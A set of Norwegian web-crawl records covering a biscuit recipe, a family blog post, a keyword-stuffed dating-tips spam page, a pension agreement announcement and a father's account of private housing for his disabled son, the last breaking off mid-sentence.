{"url": "https://www.mineoppskrifter.no/enkle-kjeks/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:31:03Z", "text": "# Enkle kjeks\n\nKjeks | 3 kommentarer\n\nIngredienser\n\n150 gr. (grovt) hvetemel  \n1/2 ts. bakepulver  \n1 ts. malt ingef\u00e6r  \n1 stor ss. sirup  \n60 gr. margarin\n\nTilberedning\n\nSmelt sirup og margarin i en gryte. Tilsett de andre ingrediensene og r\u00f8r om til du f\u00e5r en deig. Rull deigen ut i kuler som legges p\u00e5 et smurt bakeark, og presses til \u00f8nsket st\u00f8rrelse med en gaffel. Stek kjeksene ved 180 grader til de har en gylden farge (ca. 20 minutter).\n\n(Bes\u00f8kt 1\u00a0791 ganger, 1 bes\u00f8k i dag)\n\n  \n# 3 Kommentarer\n\n1.  Line  p\u00e5 11/02/2014 hos 19:22 \n    \n    Hm.. ble s\u00e5 rare, deigen var som knudrete tyggis, og de smaker bare mel. \ud83d\ude1b\n\n2.  Navn \\*  p\u00e5 22/09/2013 hos 11:29 \n    \n    G\u00e5r det Ann \u00e5 a vekk ingerf\u00e6ren og sirupen og ta fint mel istedenfor grovt\n\n3.  ingvild  p\u00e5 25/10/2012 hos 17:44 \n    \n    lagde disse, men sl\u00f8yfet ingef\u00e6ren, og erstattet det med vaniljeskukker, og valn\u00f8tter:) veldig gode\n\n", "language": "no", "__index_level_0__": "8b7b51f9-fce1-4555-ad69-862e6f8b0964"}
{"url": "http://lailanc3.blogspot.com/2010/03/vi-har-besk.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:30:51Z", "text": " \n\n## Tuesday, March 30, 2010\n\n### Vi har bes\u00f8k....\n\n\n\nFor en som har sett en del p\u00e5 tv - s\u00e5 er alt \"stort\" alt i Amerika. Eller \"fler\" eller....  \n  \nVi var fire rundt bordet....hvor mange glass vin var det??? Supersize me\\! 2 for 1... og da det var 5 minutter til happy-hour var over... ja da m\u00e5tte bare alt p\u00e5 bordet da\\!  \n  \n  \nDet er trivelig \u00e5 ha bes\u00f8k. S\u00e6rlig av noen man har litt felles med\\! Ikke bare vin da... men gener. Og en hel linje i slekts-databasen\\!  \n  \n\n\n\nLiv og jeg sitter og jobber sammen om slekta, en finner, en annen kommenterer. Vi tyder og diskuterer,  \ntolker og registrerer. Samtidig som vi er litt p\u00e5 DISchat, litt p\u00e5 Facebook, litt her og litt der, bort i vaskemaskinen, noe m\u00e5 alltid ordnes. Koselig er det\\!\\!  \n  \nOg som man ser, Liv har f\u00e5tt den fine Florida-l\u00f8den (min har v\u00e6rt der en stund allerede) .... litt fra vina og litt fra sola...  \n\n\n\nKveldens solnedgang....\n\nLaila N. Christiansen  at \n5:11 PM           \n\n \n\n\n\n\nAnne-Lise said...\n\nDet er tydelig \u00e5 se at dere koser dere i allefall. Fortsatt god p\u00e5ske og sk\u00e5\u00e5\u00e5l :-)\n\n March 31, 2010 at 1:48 AM    \n\n", "language": "no", "__index_level_0__": "b075ff22-d8b7-478a-b34d-734f851d02ec"}
{"url": "http://fdelamora.com/180-ting-finne-p-sammen-med-kjresten.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:39:03Z", "text": "# Ting \u00e5 finne p\u00e5 sammen med kj\u00e6resten\n\nVis alle \u00b7 \u00abRabalder i Dannevika\u00bb \u00b7 12-m\u00e5lsseier for Flekkefjord-damene \u00b7 Planlegger \u00e5 utvide tinghuset \u00b7 M\u00e5 utvide brann-samarbeidet \u00b7 Her blir han p\u00e5grepet . Kom deg ut-dagen i fire kommuner \u00b7 Flertall for IP-blokkering av spillselskaper \u00b7 Feirer 150 \u00e5r \u00b7 Mye prat, men ingen endring \u00b7 Kobler sammen Tj\u00f8rhom og \u00c5lsheia\u00a0 2. mar 2015 Det er ikke alle som legger ut s\u00e5 personlige ting, men det g\u00e5r kanskje an \u00e5 finne litt personlig info, som hva han har drevet med f\u00f8r. Noen ganger er det greit \u00e5 vite litt hvem det er. Untitled-1. Ogs\u00e5 Bettina (18) sjekket ut sin n\u00e5v\u00e6rende kj\u00e6reste p\u00e5 Facebook f\u00f8r det kunne utvikle seg noe mer. \u2013 Jeg m\u00e5tte jo\u00a0 svigerinne hva er det 18. nov 2017 Cengiz Al elsker dans og elsker kj\u00e6resten. I kveld kombinerte Kj\u00e6resten hans Maiken Blom (19) danset nemlig sammen med duoen i en av dansene. - Jeg elsker jo Takknemlig. Da det forrige l\u00f8rdag ble kjent at 27-\u00e5ringen hadde kapret en av finaleplassene hadde hun problemer med \u00e5 finne ordene.\n\n 15. des 2013 Hva er det verste du kan f\u00e5 i julegave av kj\u00e6resten? Martin: - Jeg vil helst slippe \u00e5 f\u00e5 noe som tyder p\u00e5 at jeg m\u00e5 forandre meg. Kl\u00e6r som jeg misliker, for eksempel. Her setter jeg pris p\u00e5 at det f\u00f8lger med byttelapp sammen med plaggene. Jeg f\u00e5r stort sett sokker hvert \u00e5r uansett. Johannes: - Et billig skjerf\u00a0 \u00c5 finne p\u00e5 med kj\u00e6resten. Velg mellom \u00e5 dra p\u00e5 vinsmaking i Italia eller Frankrike eller hvor det m\u00e5tte v\u00e6re.- Tren sammen, ski, jogging, sykling - hva som helst- Ta et kurs sammen - finnes jo ingenting som er bedre? Vi forbeholder oss ogs\u00e5 retten til n\u00e5r som helst kan se hvor du er 711 millioner e-postadresser lekket - n\u00e5\u00a024. jun 2017 Det er viktig \u00e5 gj\u00f8re ting sammen i blant. N\u00e5r man har hus, jobb og tre barn er det liten tid man har til overs. Men da er det viktigere enn noen gang \u00e5 finne tid til hverandre, og ofte s\u00e5 er det ikke s\u00e5 mye som skal til for \u00e5 f\u00e5 litt f\u00f8lelsen av \u00e5 v\u00e6re kj\u00e6rester. For det er det vi er, vi er kj\u00e6rester, p\u00e5 godt og vondt. p m\u00f8te damer p\u00e5 nettetJeg har jo ogs\u00e5 mine ting jeg liker \u00e5 drive med, men jeg synes det blir lite vi sees hvis vi ikke treffes n\u00e5r vi har barnefri. Hvis eksen i tillegg ringer \u00e5 maser mens vi er sammen, da tipper det over for meg. Jeg synes det er et strev \u00e5 greie dette, selv om det ogs\u00e5 er veldig koselig \u00e5 ha kj\u00e6reste. Hvordan opplever\u00a0Selv om man ikke har pr\u00f8vd det fra f\u00f8r av er det alltid morsomt, og det er noe veldig annerledes enn det man gj\u00f8r ting vanlig. - Kj\u00f8p inn mat og lag middag eller noe annet kos sammen hjemme. Det er noe helt annet enn \u00e5 bare sitte og se p\u00e5 film sammen, og dere kan ogs\u00e5 bruke tid p\u00e5 \u00e5 finne noe spennende \u00e5 lage\\! kristen kontaktformidling norge15. mai 2016 Mange foreldre, s\u00f8sken, venner eller kj\u00e6rester har slitt seg ut i bekymring, sorg og frustrasjon over sykdommen til den man er glad i. Det er viktig \u00e5 innse at det er . Hvis du er p\u00e5r\u00f8rende til en som er deprimert, kan du g\u00e5 gjennom dette programmet sammen med den som er syk. Du kan motivere og vise vei\u00a0\n\nPr\u00f8v om du kan v\u00e6re en slik kj\u00e6reste\\! Hvordan viser vi hverandre kj\u00e6rlighet? Vi tenker kanskje at det er s\u00e5 store ting som skal til for \u00e5 vise hverandre kj\u00e6rlighet, at vi m\u00e5 reise til Praha sammen eller kj\u00f8pe en diamantring. Slike ting er vel og bra, men uten at de sm\u00e5 kj\u00e6rlighetsbevisene er til stede i hverdagen, betyr det lite. dating free india site Oversikt over en mengde aktiviteter i Oslo. Oslo tilbyr bla. sightseeing, sykling, b\u00e5tturer, fiske, ski, aking, sk\u00f8yter, bading, barneaktiviteter. kj\u00e6re fransk SNAKK SAMMEN: Verbal kommunikasjon forhindrer misforst\u00e5elser og gj\u00f8r forhold sterkere, mener samlivsteratpeut Solveig E. Vennesland. Foto: Frank May, NTB Hun har sett p\u00e5 Joyce Marters liste over 50 ting du b\u00f8r si tilpartneren din for \u00e5 f\u00e5 forholdet til \u00e5 blomstre. \u2013Ti gode ting \u00e5 si til kj\u00e6resten: Her trekker hun ut sine ti\u00a0 forelskelse jobb 12. mar 2014 Det skaffer deg kanskje en kj\u00e6reste, men det vil aldri vare lenger enn maks et par m\u00e5neder. S\u00e5 v\u00e6r heller dere selv. Da kan vi garantere dere at dere f\u00e5r en st\u00f8rre sjanse hos jenta dere liker. Og hvis dere ikke f\u00e5r en sjanse hos denne jenta, s\u00e5 vil dere garantert finne en som liker deg for den du er, i stedet\u00a023. mai 2016 Det \u00e5 bli forlatt av kj\u00e6resten kan derfor v\u00e6re en veldig vond opplevelse og f\u00f8les som en personlig avvisning. Om du f\u00e5r vite at den andre ikke elsker deg lenger, kan dette gj\u00f8re vondt p\u00e5 linje med fysisk smerte. Hvor smertefullt det f\u00f8les, avhenger av deres historie sammen og hvor knyttet du har v\u00e6rt av\u00a0\n\n\n\n For 2 dager siden Men n\u00e5 skal hun bli kjent med Acke, hunden til kj\u00e6resten sin i G\u00f6teborg, Det betyr for eksempel at hun m\u00e5 si ting p\u00e5 svensk, ikke p\u00e5 norsk, s\u00e5 Acke forst\u00e5r henne. \u00c5 passe en hund De jakter p\u00e5 bilder som hver for seg ikke trenger \u00e5 v\u00e6re s\u00e5 spesielle, men som sammen forteller en ny og morsom historie.\n\n9\\. feb 2015 20 grunner til at vi med ADHD er gode kj\u00e6rester Om du har sjansen til \u00e5 bli sammen med noen som har denne fantastiske og kreative diagnosen, KJ\u00d8R P\u00c5 \\! Alle forhold har problemer av og til, men med denne diagnosen kommer 16: vi bruker ikke tiden v\u00e5r p\u00e5 uviktige ting. 17: vi elsker \u00e5 ta en sjans. 13. sep 2017 Sitatene handler ogs\u00e5 om \u00e5 v\u00e6re glad i \u00abgodt nok\u00bb, om \u00e5 finne glede ved livet, mot til \u00e5 m\u00f8te sykdom og d\u00f8d, og trygghet n\u00e5r fare truer. Midt i egen sykdomsprosess og n\u00e6rst\u00e5ende d\u00f8d har Fugelli p\u00e5 en beundringsverdig m\u00e5te satt fokus p\u00e5 livsglede og l\u00f8ftet frem verdien av de n\u00e6re ting i livet\u00bb, het det i\u00a0 ekteskap i buddhismen 14. feb 2009 Merk deg ting kj\u00e6resten din prater om, selv om det er noe s\u00e5 \u00abirrelevant\u00bb som hvor han har kj\u00f8pt en skikkelig god is og vis at du husker det n\u00e5r anledningen byr seg. 78. Plant et tre sammen og drikk champagne foran treet ved hver \u00e5rsdag og snakk om \u00e5ret som har g\u00e5tt. 79. Til en spesiell anledning, oppkall\u00a0 For mange blir det ofte vanskelig \u00e5 trene jevnlig sammen med kj\u00e6resten. S\u00e5 hvordan skal man \u00e5 bygge videre p\u00e5. Ved \u00e5 investere litt i hverandre kan man finne ut at man b\u00e5de n\u00e5r lenger og at veien til m\u00e5let er morsommere enn forventet. Slik er det ogs\u00e5 n\u00e5r man trener med en venn \u2013 eller kj\u00e6reste. Et annet aspekt er\u00a0\n\n19\\. aug 2016 God morgen kj\u00e6re, gode dere, og riktig god HELG\\! Et blogginnlegg som dette har v\u00e6rt etterspurt i hele sommer, s\u00e5 dette har jeg gledet meg litt ekstra til \u00e5 dele med dere. Endelig har jeg f\u00e5tt fingeren ut og snekret sammen noen spreke id\u00e9er til ting man kan finne p\u00e5 sammen med kj\u00e6resten b\u00e5de n\u00e5 og se\u2026 30. jan 2015 Tvilen p\u00e5 om man passer sammen med samboer eller ektefelle. Andre er fortsatt p\u00e5 jakt etter en partner, ofte p\u00e5 et eller annet nettsted. Vi lokkes av overskriftene, klikker oss videre: \u00ab10 tegn p\u00e5 at han er den rette.\u00bb \u00abB\u00f8r vi gifte oss?\u00bb \u00abSlik vet du at du har skutt gullfuglen.\u00bb Da gjelder det \u00e5 finne ut om man\u00a010. mar 2012 En slunken lommebok er ikke noe hinder for \u00e5 overraske kj\u00e6resten din med en romantisk date. Det finnes en hel masse ting man kan gj\u00f8re sammen for en rimelig penge, eller i beste fall - helt gratis\\! Det er mye billigere og dere f\u00e5r fortsatt en hyggelig og romantisk date sammen i flotte omgivelser. gratis dating i norge danmark Han trener p\u00e5 fritiden og har alltid lyst \u00e5 finne p\u00e5 ting sammen med meg, til og med ting han ikke er s\u00e6rlig interessert i selv, men han gj\u00f8r det fordi det er noe jeg er interessert i. F\u00f8r r\u00f8ykte han flere ganger i uken, inkludert hverdagene, etter jobb. Men etter at han fortalte til meg om r\u00f8yking, reduserte han bruken noe. Jeg tror\u00a0Mange har lyst til \u00e5 lage en spennende julekalender til kj\u00e6resten. Den trenger ikke n\u00f8dvendigvis \u00e5 bety tom lommebok og masse tid p\u00e5 et kj\u00f8pesenter for \u00e5 finne p\u00e5 en gave til hver dag. Her f\u00e5r \u00c5pne dagens \u00abluke\u00bb n\u00e5r begge er hjemme fra jobb og skole for \u00e5 gj\u00f8re det til en ekstra koselig ting dere har sammen hver dag\\! hvilken datingside er best kamera 7. aug 2012 Og jeg \u00f8nsker gjerne at han skal ta mer initiativ til at vi skal finne p\u00e5 mer ting sammen. Jeg vet at han har mye jobb, og har aldri hatt en kj\u00e6reste f\u00f8r. Han er n\u00e5 30 \u00e5r gammel og jeg er 24. SvarSlett. Anonym 12.06.2013, 16:20. Hei \\! Kjenner meg igjen i mye herjeg har datet en fyr i 9 mnd n\u00e5, vi definerte oss\u00a0\n\n7\\. mai 2011 Du kan sp\u00f8rre hvilken som helst jente om hvordan de vil at kj\u00e6resten sin skal v\u00e6re, og du vil alltid finne de samme kriteriene, kanskje bare i forskjellig rekkef\u00f8lge: Snill, omtenksom, morsom, For \u00e5 teste hvordan de ulike mennene m\u00e5ler seg opp mot kriteriene, skal de gj\u00f8re typiske kj\u00e6resteting sammen. Vi er 25 og 27 \u00e5r og bare v\u00e6rt kj\u00e6rester i 4 m\u00e5neder. Allerede n\u00e5 f\u00f8ler jeg forholdet v\u00e5rt har stagnert litt. Han vil aldri bli med \u00e5 finne p\u00e5 noe. Det eneste vi gj\u00f8r sammen er \u00e5 spise, se p\u00e5 tv og har sex/koser. Jeg maser mye om at vi skal finne p\u00e5 andre ting sammen, men han finner alltid p\u00e5 en eller annen\u00a0 finne en kj\u00e6reste dikt 18. feb 2015 Gj\u00f8r ting sammen\\! Reis p\u00e5 ferier, g\u00e5 ut \u00e5 spis lunsj, kino, g\u00e5 en tur, bowling \u2013 hva som helst. Jeg merker utrolig godt hvor mye bedre forholdet v\u00e5rt er s\u00e5 lenge vi er flinke \u00e5 finne p\u00e5 ting. Det verste man kan gj\u00f8re er \u00e5 alltid ligge p\u00e5 sofaen \u00e5 se p\u00e5 tv sammen hver eneste dag. Da blir man fort lei, iallefall jeg\\!Ellers har mesteparten av tiden min g\u00e5tt til skole, skriving av innlevering, lesing til eksamen, men jeg har tatt meg tid til litt g\u00f8yere ting ogs\u00e5. Jeg har blant annet shoppet litt Jeg har ogs\u00e5 kj\u00f8pt noen d\u00f8dsfine hyller i gull og marmor (du kan se de her), jeg m\u00e5 bare finne ut hvor de skal henge.. Ellers har jeg kj\u00f8pt s\u00e5\u00e5 mange\u00a0 fl\u00f8rte app Jeg liker ogs\u00e5 best \u00e5 finne p\u00e5 ting sammen med mannen fremfor at vi gj\u00f8r noe hver for oss, men det betyr da ikke at vi aldri kan gj\u00f8re ting alene heller. Blir jeg bedt p\u00e5 jentekveld s\u00e5 drar jeg selvf\u00f8lgelig ikke med meg mannen som ikke er invitert. Men hadde jeg for eksempel blitt bedt i et bryllup uten f\u00f8lge,\u00a0\n\nOg det var nettopp det vi ville denne kvelden: komme bort fra kj\u00f8kkenstua der vi har tv\\`n, og der vi altfor ofte synker sammen n\u00e5r kvelden kommer\u2026 og blir der. Ja til \u00e5 v\u00e6re med de menneskene som gir meg energi, ja til \u00e5 kjenne etter hva kroppen min trenger, ja til \u00e5 v\u00e6re i aktivitet, ja til \u00e5 pr\u00f8ve nye ting, spise godt, h\u00f8re\u00a0 Hun er glad i romantiske \u00f8yeblikk, og er flink til \u00e5 finne p\u00e5 litt mer utradisjonelle og spennende dater p\u00e5 budsjett sammen med kj\u00e6resten. Man kan dra p\u00e5 dobbelt-date, tivoli, dra p\u00e5 fest sammen, gj\u00f8re litt st\u00f8rre ting som reise p\u00e5 en liten ferie, b\u00e5ttur til ett annet land/ by, bare ta med hverandre p\u00e5 forskjellige opplevelser.Sp\u00f8r parterapeutene er et omr\u00e5de hvor vi har besvart sp\u00f8rsm\u00e5l fra folk flest om daglige utfordringer relatert til par og parforhold. Sp\u00f8rsm\u00e5lene som er besvart er nok noe tilfeldig valgt ut, men vi h\u00e5per allikevel vi har gitt noen svar som kan hjelpe deg til refleksjon og nye perspektiver p\u00e5 ditt eget parforhold. For at besvarelsen\u00a0 date sideburns 12. feb 2013 Eller hva med bilder fra tiden dere datet, deres f\u00f8rste sydentur sammen eller andre, gode minner. 8. Fyll kj\u00f8leskapet med ting han liker\\! Dette tipset plukket jeg opp fra Siri i helgen, og jeg elsker id\u00e9en\\! Fyll skapet med alle hans favoritter og m\u00f8t ham gjerne i d\u00f8ren med en \u00f8l i hver h\u00e5nd.. og ikke noe annet?Leter du etter noe \u00e5 finne p\u00e5? Eller vil du kanskje v\u00e6re med p\u00e5 en guidet tur? P\u00e5 denne siden finner du en oversikt over noen aktiviteter du kan ta del i her i Oslo, b\u00e5de sommer og vinter aktiviteter. Oslo er en spennende by med et rikt og variert aktivitets-tilbud. Det er alltid noe \u00e5 finne p\u00e5 i Oslo\\! m\u00f8teplassen askim 19. jun 2012 N\u00e5r kj\u00e6resten din i tillegg har sagt det ikke er noe problem for henne s\u00e5 er det kjedelig at det blir et problem for deg og dere. Gj\u00f8r det beste ut av situasjonen, og det er \u00e5 snakke sammen, t\u00f8rre \u00e5 innr\u00f8mme at man ikke er s\u00e5 sikker p\u00e5 enkelte ting og finne ut av problemene sammen. Lykke til\\! - Ann Mari\u00a0\n\n\n\n7\\. nov 2017 KJ\u00d8PE SAMMEN: Det er en del ting dere b\u00f8r bli enige om f\u00f8r dere kj\u00f8per bolig sammen. FOTO: Shutterstock Hva b\u00f8r man tenke p\u00e5 f\u00f8r man skal kj\u00f8pe leilighet med kj\u00e6resten? \u2013 Finn ut hvor mye dere BLI ENIGE: \u2013 F\u00f8rst og fremst m\u00e5 dere finne ut hvor mye dere kan l\u00e5ne sammen. Bli enige om eierbr\u00f8k\u00a0\n\nVil du finne p\u00e5 ting \u00e5 gj\u00f8re med kj\u00e6resten? Se v\u00e5re 9 beste opplevelser for par. Skap nye minner sammen, plei forholdet\\! F\u00e5 gavekort levert p\u00e5 fem min\\! Mange er opptatt av det fordi de lurer p\u00e5 om de egentlig passer sammen med partneren som de engang var s\u00e5 forelsket i. Mange forskere har pr\u00f8vd \u00e5 finne ut om det er noen ulikheter som er s\u00e6rlig vanskelige. .. I konflikt s\u00e5 endrer synet p\u00e5 den andre seg ogs\u00e5, kj\u00e6resten v\u00e5r endrer seg til \u00e5 bli \u00abBad\u00bb eller \u00abMad\u00bb. Hvis du er eller vil bli sammen med en bodybuilder b\u00f8r du f\u00f8lge disse punktene. Bodybuildere f\u00f8lger ekstreme dietter som krever utrolig disiplin og du skal ikke da friste din kj\u00e6reste med \u00e5 spise dette foran ham. Det eneste unntaket er sammen\\! Dette vil styrke forholdet og han vil finne deg mer attraktiv.\n\nDu er ute av et forhold og har funnet en ny kj\u00e6reste. Mange gj\u00f8r den kjempefeilen at s\u00e5 snart senga begynner \u00e5 kj\u00f8lne p\u00e5 ene siden, l\u00f8per de ut for \u00e5 finne en ny partner. Lise hadde flyttet sammen med en ny kj\u00e6reste i utlandet, men hun unnlot \u00e5 ta med seg tingene sine slik at hjemmet deres alltid minnet om henne. 7. aug 2017 8 ting du kan gj\u00f8re med kj\u00e6resten i h\u00f8st. Her er 8 tips til fine aktiviteter du kan finne p\u00e5 med kj\u00e6resten i h\u00f8st, enten du er nyforelsket eller bare vil pleie kj\u00e6rligheten. Be noen p\u00e5 en \u00c5 trene sammen er superhyggelig og veldig motiverende, i tillegg til at treningen ogs\u00e5 gj\u00f8r deg gladere og mer energisk.30. mar 2015 Det skyldes ofte at de innser at ny kj\u00e6reste betyr kroken p\u00e5 d\u00f8ren for at mor og far vil finne tilbake igjen. FAMILIE: Andreas har barna Julia (7) og Johanne (6) fra et tidligere forhold. Han og samboer Ingjerd har n\u00e5 f\u00e5tt Linea (3 m\u00e5neder) sammen. B\u00f8rre Eskedahl. -Jeg blir s\u00e5 lei av \u00e5 h\u00f8re at alt er rosenr\u00f8dt,\u00a0 9. feb 2016 Dette innlegget er b\u00e5de til dere som har kj\u00e6reste og til dere som har gode venner og har lyst til \u00e5 feire valentinsdagen. Ta ett bad sammen\\! Er dere s\u00e5 heldig \u00e5 ha et badekar, s\u00e5 er denne dagen perfekt til \u00e5 bruke det sammen. Gj\u00f8r litt ekstra som \u00e5 pynte med duftende stearinlys, roseblader, kj\u00f8p en god\u00a0\n", "language": "no", "__index_level_0__": "aef4e6bc-40f1-441f-9c56-59f8df1ca11c"}
{"url": "https://www.virke.no/tariff-lonn/tariffnyheter/viktig-enighet-om-pensjon-i-studentskipnadene/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:46:50Z", "text": "#  Tariffoppgj\u00f8ret  Viktig enighet om pensjon i Studentskipnadene\n\nPublisert: 28.04.2016\n\n\u200bVirke har kommet til enighet med NTL, Parat og Utdanningsforbundet for Studentsamskipnadene. Vi er spesielt tilfreds med \u00e5 ha kommet til enighet med alle forbundene om \u00e5 finne fremtidige b\u00e6rekraftige pensjonsordninger for Studentsamskipnadene.\n\n\n\n\u200bPartene har anbefalt en felles fremdriftsplan for lokale prosesser. Lokale prosesser kan lede til endringer i pensjonsordningene hvor en b\u00e5de ivaretar de ansatte og arbeidsgivers behov.  \n  \n\\- Som i alle forhandlinger har begge parter m\u00e5tte gi, men tonen har v\u00e6rt konstruktiv. Det sier mye om alle partene at vi f\u00e5r til en god l\u00f8sning p\u00e5 et vanskelig tema som har gitt brudd i forhandlinger hos andre organisasjoner, sier Geir Waage Aurdal som har ledet forhandlingene p\u00e5 Virkes vegne.  \n  \nDet \u00f8konomiske oppgj\u00f8ret er innenfor frontfagets rammer.\u00a0\u00a0\n\n## Emneord\n\n", "language": "no", "__index_level_0__": "216e4ae8-a27b-4371-909e-b7b8f368061c"}
{"url": "http://www.ivarjohansen.no/temaer/funksjonshemmede/5916-utviklingshemmede-tobias-sin-bolig-foreldre-tok-selv-grep-der-det-offentlige-sviktet.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:26:40Z", "text": "    Publisert s\u00f8ndag 12. februar 2017 05:07\n\n\n\nJ\u00f8rn H. Eriksen er far til Tobias som er en ung mann med utviklingshemming. Tobias har syndromet frontonasal dysplasi, en midtlinjedefekt, med brudd i corpus callosum, som er koplingen mellom h\u00f8yre og venstre forhjerne. Det inneb\u00e6rer blant annet en forsinkelse fra impuls til handling.\n\nTobias bor n\u00e5 p\u00e5 Nordre Ammerud g\u00e5rd, i et bofellesskap for 10 utviklingshemmede i Grorud bydel. Han flyttet inn i september 2015. Tobias eier sin egen leilighet. Han har dermed krav p\u00e5 omsorg i sin egen kommune og bydel. Bydel Grorud har ansvaret for omsorg og aktivitet for alle 10 beboere. Omsorgen organiseres i bygget der de bor.\n\nSom J\u00f8rn skriver: \"At Tobias har egen bolig er det ikke det offentlige tilbud som skal takkes for. Det var en lang og krevende kamp som mange har kjempet sammen.\" Han mener at hovedproblemet er at \"kommunene ikke har plikt til \u00e5 skaffe bolig. Man skal bare \u00abmedvirke til\u00bb, og det betyr i praksis at man ikke trenger \u00e5 medvirke til. Det finnes et utall av initiativ og forslag, av utredninger og utvalg der gode intensjoner knyttet til bolig uttrykkes. Det hjelper lite n\u00e5r r\u00e5dmenn og politikere ikke er forpliktet.\"\n\nOg J\u00f8rn legger til: \"Jeg er bedt om \u00e5 fortelle om et initiativ som er l\u00f8sningen for noen av oss; bygging av boliger etter privat, eller i praksis foreldrenes initiativ. For oss og mange andre var dette den eneste veien til bolig. Ventelistene var lange og er egentlig ei lureliste. S\u00e5 oppn\u00e5dde vi en annen stor fordel. Tobias eier sin egen leilighet. Han og vi foreldre har trygghet for at kommune og bydel ikke kan komme til \u00e5 gj\u00f8re \u00abandre prioriteringer\u00bb. Det er sjelden vare at utviklingshemmede blir kastet ut eller flyttet p\u00e5, men vissheten om at s\u00e5 ikke kan skje har en uvurderlig betydning for oss\\! Vi er glade og forn\u00f8yde, et viktigere innsats enn \u00e5 sikre Tobias bolig kan jeg ikke bidra med her i livet. Samtidig er jeg bekymret for andre, ventelistene er lange, behovet er stort, interessen fra politisk hold begrenset og gjennomf\u00f8ringsviljen frav\u00e6rende.\"\n\nDenne bloggen gir plass til folk som sloss for rettferdighet, ogs\u00e5 de som geniunt mener det offentlige tilbudet er utilstrekkelig. J\u00f8rn er det all grunn til \u00e5 lytte til.\n\n**BOLIGER FOR PERSONER MED UTVIKLINGSHEMMING: PRIVATE INITIATIV FOR \u00c5 REDUSERE UNDERSKUDDET.**\n\nJeg st\u00e5r her som far til Tobias som er en ung mann med utviklingshemming. Tobias har egen bolig, og det er ikke det offentlige tilbud som skal takkes for det. Det var en lang og krevende kamp som mange har kjempet sammen. Jeg st\u00e5r her fordi jeg mener at lovverket er feil og m\u00e5 endres. Og jeg vet at det er personer i salen som vil pr\u00f8ve \u00e5 medvirke til nettopp det\\! Det gledelige er at rettighetsutvalget gjennom \u00abP\u00e5 lik linje\u00bb er klare i sin anbefaling: De sier, \u00abKommunen m\u00e5 ha plikt til \u00e5 s\u00f8rge for et udekket boligbehov\u00bb.\n\nHovedproblemet er: Kommunene har ikke plikt til \u00e5 skaffe bolig. Man skal bare \u00abmedvirke til\u00bb, og det betyr i praksis at man ikke trenger \u00e5 medvirke til. Det finnes et utall av initiativ og forslag, av utredninger og utvalg der gode intensjoner knyttet til bolig uttrykkes. Det hjelper lite n\u00e5r r\u00e5dmenn og politikere ikke er forpliktet.\n\nJeg er bedt om \u00e5 fortelle om et initiativ som er l\u00f8sningen for noen av oss; bygging av boliger etter privat, eller i praksis foreldrenes initiativ. For oss og mange andre var dette den eneste veien til bolig. Ventelistene var lange og er egentlig ei lureliste. S\u00e5 oppn\u00e5dde vi en annen stor fordel. Tobias eier sin egen leilighet. Han og vi foreldre har trygghet for at kommune og bydel ikke kan komme til \u00e5 gj\u00f8re \u00abandre prioriteringer\u00bb. Det er sjelden vare at utviklingshemmede blir kastet ut eller flyttet p\u00e5, men vissheten om at s\u00e5 ikke kan skje har en uvurderlig betydning for oss\\! Vi er glade og forn\u00f8yde, et viktigere innsats enn \u00e5 sikre Tobias bolig kan jeg ikke bidra med her i livet. Samtidig er jeg bekymret for andre, ventelistene er lange, behovet er stort, interessen fra politisk hold begrenset og gjennomf\u00f8ringsviljen frav\u00e6rende.\n\nMin bakgrunn er: Far til Tobias, 27 \u00e5r gammel. Han bor n\u00e5 p\u00e5 Nordre Ammerud g\u00e5rd, i et bofellesskap for 10 utviklingshemmede i Grorud bydel. Flyttet inn i september 2015. Tobias eier sin egen leilighet. Han har dermed krav p\u00e5 omsorg i sin egen kommune og bydel. Bydel Grorud har ansvaret for omsorg og aktivitet for alle 10 beboere. Omsorgen organiseres i bygget der de bor, og det er avsatt egne lokaler for administrasjonen av omsorgsarbeidet. Tobias har syndromet frontonasal dysplasi, en midtlinjedefekt, med brudd i corpus callosum, som er koplingen mellom h\u00f8yre og venstre forhjerne. Det inneb\u00e6rer blant annet en forsinkelse fra impuls til handling. Tobias jobber 5 dager i uken p\u00e5 Nordtvet g\u00e5rd p\u00e5 Kalbakken, like ved boligene; med rydding, som bud, og i vedproduksjon. I tillegg er han p\u00e5 voksenoppl\u00e6ring 2 halve dager i uken p\u00e5 voksenoppl\u00e6ringen p\u00e5 Skullerud, han har IKT og matlaging. Dit tar han T-banen alene.\n\nNordre Ammerud g\u00e5rd er p\u00e5 9 m\u00e5l, og har 6 verneverdige bygg p\u00e5 tomten (Byantikvarens gule liste). Bygningen som rommer de 10 beboerne er nyoppf\u00f8rt, men m\u00e5tte godkjennes av Byantikvaren i forhold til utforming. Det er 10 beboere totalt. Samtidig er det mindre bomilj\u00f8er med 2 og 3 kvinner i annen etasje og 2 og 3 menn i f\u00f8rste etasje i adskilte seksjoner. Leilighetene er p\u00e5 ca. 50 kvm, har kj\u00f8kken, stue, soverom og bad. Dette er hjemmet til Tobias og for de andre som bor der\\! Det er romslige fellesarealer, blant annet et stort felleskj\u00f8kken og loft. Og som nevnt, administrasjonen har egne kontorlokaler finansiert av bofellesskapet og leid ut til bydel Grorud.\n\nEtter \u00e5 ha sett p\u00e5 n\u00e6rmere 50 eiendommer, tok foreldregruppen p\u00e5 10 selv initiativet til \u00e5 kj\u00f8pe eiendommen for kr. 7 mill. i 2011, og har st\u00e5tt for finansiering, prosjektering og byggeledelse. Vi har mottatt tilskudd og blitt innvilget l\u00e5n i Husbanken, og i tillegg bidratt med egenkapital. Beboerne betaler kr.9.000,- pr. m\u00e5ned i husleie, som dekker renter, avdrag, drift og vedlikehold. Beboerne ordner selv med frokost og lunsj assistert av personalet, mens middag organiseres som fellesm\u00e5ltid der \u00abGodt levert\u00bb er leverand\u00f8r. Middagene tilberedes av beboerne sammen med omsorgspersonalet. Foreldrene er aktive i styrearbeid, vedlikehold og i ulike 